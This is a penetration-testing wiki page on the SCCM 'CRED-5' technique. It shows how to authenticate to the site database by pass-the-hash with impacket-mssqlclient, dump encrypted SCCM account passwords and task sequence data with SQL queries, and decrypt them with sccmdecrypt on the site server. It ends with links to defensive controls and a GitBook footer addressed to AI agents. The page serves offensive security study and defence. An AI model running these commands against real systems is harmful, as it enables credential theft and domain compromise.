> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/sccm-mecm/cred-5-mssql-database.md).
# CRED-5 - MSSQL Database
## Document Reference
* [CRED-5](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-5/cred-5_description.md)
### Description
Dump credentials from the site database
Site servers are granted sysadmin roles on their respective site databases. This is default and is a requirement for SCCM to function. If the site server machine account credentials have been obtained, this then allows for the SC\_UserAccount table to be read and obtain encrypted passwords blobs for provisioned SCCM accounts which are stored within this table.
When this attack is performed, the encrypted data blobs must be encrypted on the site server otherwise it is not possible to decrypt them.
### Requirements
* Site database access
* Access to the private key used for encryption stored on the primary site server
## Tools Required
**Windows**
* SQL Client (mssqlclient, SQLRecon)
* sccmdecryptpoc.exe:
**Linux**
* mssqlclient
## Linux
{% code overflow="wrap" %}
```python
impacket-mssqlclient -windows-auth -hashes 'aad3b435b51404eeaad3b435b51404ee:fe7f671f719978e25111c8c196662006' 'SCCMLAB/MECM$'@192.168.60.12
```
{% endcode %}
**Dump Account Credentials**
```sql
# Connect to site database, view secrets
USE CM_[Site Code]
SELECT UserName,Password FROM SC_UserAccount
```
**Dump Task Sequence Data**
```sql
SELECT TS_ID, Name, Sequence FROM vSMS_TaskSequencePackage
```
## Windows
The same attack can be repeated as above in the Linux section for Windows when using mssqlclient.exe. At the time of writing I had issue authenticating as a machine account to the site server database using the suggested SQLRecon. If using a machine account mssqlclient.exe would be the preferred way of doing this, otherwise if you have access to a user who has admin rights of the site server database then SQLRecon or PowerUPSQL should be sufficient.
{% code overflow="wrap" %}
```sql
mssqlclient.exe -windows-auth -hashes "aad3b435b51404eeaad3b435b51404ee:fe7f671f719978e25111c8c196662006" "SCCMLAB/MECM$"@192.168.60.12
# Connect to site database, view secrets
USE CM_[Site Code]
SELECT UserName,Password FROM SC_UserAccount
```
{% endcode %}
## Decrypt Secrets
To decrypt the data, we need to run sccmdecrypt on the main site server.
```powershell
.\sccmdecrypt.net-4.5.exe [Value]
```
{% hint style="info" %}
Needs to be run from an administrative shell on the main site server to decrypt the strings successfully
{% endhint %}
###
### Defensive IDs
* [PREVENT-10: Enforce the principle of least privilege for accounts](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/defense-techniques/PREVENT/PREVENT-10/prevent-10_description.md)
* [PREVENT-18: Use strong passwords for DBA accounts](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/defense-techniques/PREVENT/PREVENT-18/prevent-18_description.md)
* [PREVENT-19: Remove unnecessary links to site databases](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/defense-techniques/PREVENT/PREVENT-19/prevent-19_description.md)
* [PREVENT-20: Block unnecessary connections to site systems](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/defense-techniques/PREVENT/PREVENT-20/prevent-20_description.md)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/sccm-mecm/cred-5-mssql-database.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.